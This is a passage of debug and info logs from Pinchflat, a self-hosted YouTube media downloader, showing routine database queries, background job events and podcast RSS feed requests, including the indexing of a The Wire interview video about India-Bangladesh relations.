FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:41:04.360 [debug] QUERY OK source="media_items" db=2.9ms idle=299.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 22:41:04.402 [debug] QUERY OK source="media_items" db=40.1ms queue=0.1ms idle=301.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "22e202b2-f1bd-4b37-87de-4c9a3174a7c2", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 22:41:04Z], ~U[2026-01-10 22:41:04Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 22:41:04.412 [debug] QUERY OK source="sources" db=3.5ms queue=0.3ms idle=56.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 22:41:04Z], ~U[2026-01-10 22:41:04Z], 1] 22:41:04.415 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=56.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:41:04.420 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=56.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:41:04.423 [debug] QUERY OK source="media_items" db=2.6ms idle=18.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:41:04.471 [debug] QUERY OK source="tasks" db=1.7ms idle=54.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [100, 1, ~U[2026-01-10 22:41:04Z], ~U[2026-01-10 22:41:04Z]] 22:41:04.474 [info] {"args":{"id":1},"id":99,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":15293106,"event":"job:stop","queue_time":154322,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:41:31.284 [info] {"source":"oban","duration":26302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.299 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:01.288 [info] {"source":"oban","duration":3293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:31.290 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.332 [info] {"source":"oban","duration":29863,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:01.325 [info] {"source":"oban","duration":32978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:31.380 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.333 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:01.383 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:01.662 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:44:01.663 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:44:01.703 [debug] QUERY OK source="sources" db=39.5ms queue=0.1ms idle=1330.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:44:01.777 [debug] QUERY OK source="media_items" db=69.0ms queue=0.3ms idle=689.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:44:01.787 [debug] QUERY OK source="source_metadata" db=2.7ms idle=766.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:44:01.861 [debug] QUERY OK source="media_metadata" db=72.9ms queue=0.1ms idle=753.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:44:02.032 [info] Sent 200 in 399ms 22:44:31.405 [info] {"source":"oban","duration":21350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.334 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:01.407 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:10.648 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:45:10.648 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:45:10.664 [debug] QUERY OK source="sources" db=15.1ms idle=1615.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:45:10.728 [debug] QUERY OK source="media_items" db=7.8ms queue=0.2ms idle=1684.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:45:10.759 [debug] QUERY OK source="source_metadata" db=0.2ms queue=0.1ms idle=1724.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:45:10.760 [debug] QUERY OK source="media_metadata" db=0.4ms idle=1280.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:45:10.760 [info] Sent 200 in 111ms 22:45:31.409 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.336 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:01.416 [info] {"source":"oban","duration":6260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:31.419 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.219 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:47:00.338 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:01.422 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:31.424 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.340 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:01.426 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:18.276 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:48:18.277 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:48:18.279 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=1170.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:48:18.282 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1171.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:48:18.284 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1175.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:48:18.285 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.5ms idle=1176.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:48:18.286 [info] Sent 200 in 10ms 22:48:31.428 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.342 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:01.430 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:31.433 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.344 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:01.436 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:19.121 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:50:19.122 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:50:19.125 [debug] QUERY OK source="sources" db=1.0ms queue=0.3ms idle=1015.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:50:19.127 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1017.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:50:19.129 [debug] QUERY OK source="source_metadata" db=0.5ms idle=650.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:50:19.242 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.3ms idle=132.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:50:19.243 [info] Sent 200 in 121ms 22:50:31.438 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.346 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:01.442 [info] {"source":"oban","duration":2199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:31.445 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.257 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:52:00.349 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:01.447 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:31.450 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.350 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:01.453 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:31.455 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:59.955 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:53:59.955 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:53:59.957 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1847.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:53:59.959 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=871.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:53:59.961 [debug] QUERY OK source="source_metadata" db=0.5ms idle=852.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:53:59.962 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=853.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:53:59.962 [info] Sent 200 in 7ms 22:54:00.352 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:01.458 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:31.460 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.354 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:01.463 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:31.180 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:55:31.180 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:55:31.182 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=865.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:55:31.198 [debug] QUERY OK source="media_items" db=14.9ms queue=0.1ms idle=74.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:55:31.200 [debug] QUERY OK source="source_metadata" db=0.7ms idle=91.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", 